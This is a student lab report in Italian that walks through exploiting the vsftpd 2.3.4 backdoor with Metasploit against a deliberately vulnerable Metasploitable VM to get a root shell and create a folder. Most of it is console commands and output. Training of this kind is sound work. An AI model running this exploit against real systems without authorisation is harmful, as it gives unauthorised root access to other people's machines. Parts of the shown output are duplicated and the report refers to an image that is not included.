

Esercitazione W15D4

Hacking con Metasploit

Fabio Benevento - 16/02/2024

Traccia

Partendo dall'esercizio guidato visto nella lezione teorica, vi chiediamo di completare una sessione di hacking sulla macchina Metasploitable, sul servizio «vsftpd» (lo stesso visto in lezione teorica).

L'unica differenza, sarà l'indirizzo della vostra macchina Metasploitable. Configuratelo come di seguito: 192.168.1.149/24. Una volta ottenuta la sessione sulla Metasploitable, create una cartella con il comando `mkdir` nella directory di root (/). Chiamate la cartella `test_metasploit`.

Implementazione

Dopo aver avviato il tool Metasploit con il comando `search vsftp` ho ricercato exploit disponibili per il servizio `vsftpd`. Tra di essi ho individuato l'exploit `vsftpd_234_backdoor` che sembra fare al caso nostro e l'ho selezionato tramite il comando `use 1`.

```
msf6 > search vsftp

Matching Modules
=====
#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03      excellent No     VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
```

Ho quindi verificato i parametri necessari all'esecuzione dell'exploit stesso tramite il comando `show options`.

Come è possibile vedere sono necessari 2 parametri obbligatori, il parametro `RPORT` già

settato con il valore 21 che è la porta di default del servizio ftp e RHOSTS che rappresenta l'indirizzo ip dell'host su cui effettuare l'attacco.

Nel nostro caso ho settato questo parametro come 192.168.1.149 con il comando `set RHOSTS 192.168.1.149` e riverificato la correttezza dei parametri con il comando `show options`.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  --      -
  CHOST      The local client address
  CPORT      The local client port
  Proxies    A proxy chain of format type:host:port[,type:host:port][ ... ]
  RHOSTS     The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      21               yes       The target port (TCP)

Payload options (cmd/unix/interact):

  Name      Current Setting  Required  Description
  --      -
  CHOST      The local client address
  CPORT      The local client port
  Proxies    A proxy chain of format type:host:port[,type:host:port][ ... ]
  RHOSTS     The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      21               yes       The target port (TCP)

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  --      -
  CHOST      The local client address
  CPORT      The local client port
  Proxies    A proxy chain of format type:host:port[,type:host:port][ ... ]
  RHOSTS     192.168.1.149   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      21               yes       The target port (TCP)
```

Ho quindi cercato eventuali payloads disponibili tramite il comando `show payloads`. In questo caso è disponibile 1 solo payload che viene utilizzato di default e il quale non ha parametri da impostare come evidenziato dal comando `show options` eseguito in precedenza.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads

  #  Name                  Disclosure Date  Rank  Check  Description
  --  --
  0  payload/cmd/unix/interact  normal         No     Unix Command, Interact with Established Connection
```

Ho quindi lanciato l'exploit con il comando exploit. L'attacco è andato a buon fine e ho ottenuto l'accesso alla shell creando una backdoor. Infatti tramite il comando ifconfig posso visualizzare la configurazione di rete della macchina Metasploitable attaccata.

Per completare l'attacco ho eseguito il comando `mkdir test_metasploit` al fine di creare una cartella con questo nome nella directory di root.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[*] 192.168.1.149:21 - Backdoor service has been spawned, handling ...
[*] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.40.100:38239 → 192.168.1.149:6200) at 2024-02-19 10:34:56 -0500

ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:10:8a:34
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe10:8a34/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:25 errors:0 dropped:0 overruns:0 frame:0
          TX packets:94 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:1914 (1.8 KB)  TX bytes:10932 (10.6 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:177 errors:0 dropped:0 overruns:0 frame:0
          TX packets:177 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:60733 (59.3 KB)  TX bytes:60733 (59.3 KB)

sudo mkdir test_metasploit
```

Come è possibile vedere dalla seguente immagine, la cartella è stata effettivamente creata nella macchina attaccata.

